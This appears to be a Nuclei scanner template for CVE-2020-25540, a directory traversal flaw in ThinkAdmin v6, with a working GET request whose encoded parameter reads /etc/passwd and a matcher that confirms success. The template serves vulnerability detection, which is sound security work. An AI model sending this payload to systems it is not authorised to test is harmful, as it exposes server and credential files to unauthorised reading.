nuclei-templates/cves/2020/CVE-2020-25540.yaml

33 lines
1.2 KiB
YAML

id: CVE-2020-25540
info:
name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540)
author: geeknik
severity: high
description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.
reference:
- https://www.exploit-db.com/exploits/48812
- https://github.com/zoujingli/ThinkAdmin/issues/244
- https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
- http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-25540
cwe-id: CWE-22
tags: cve,cve2020,thinkadmin,lfi
requests:
- method: GET
path:
- '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"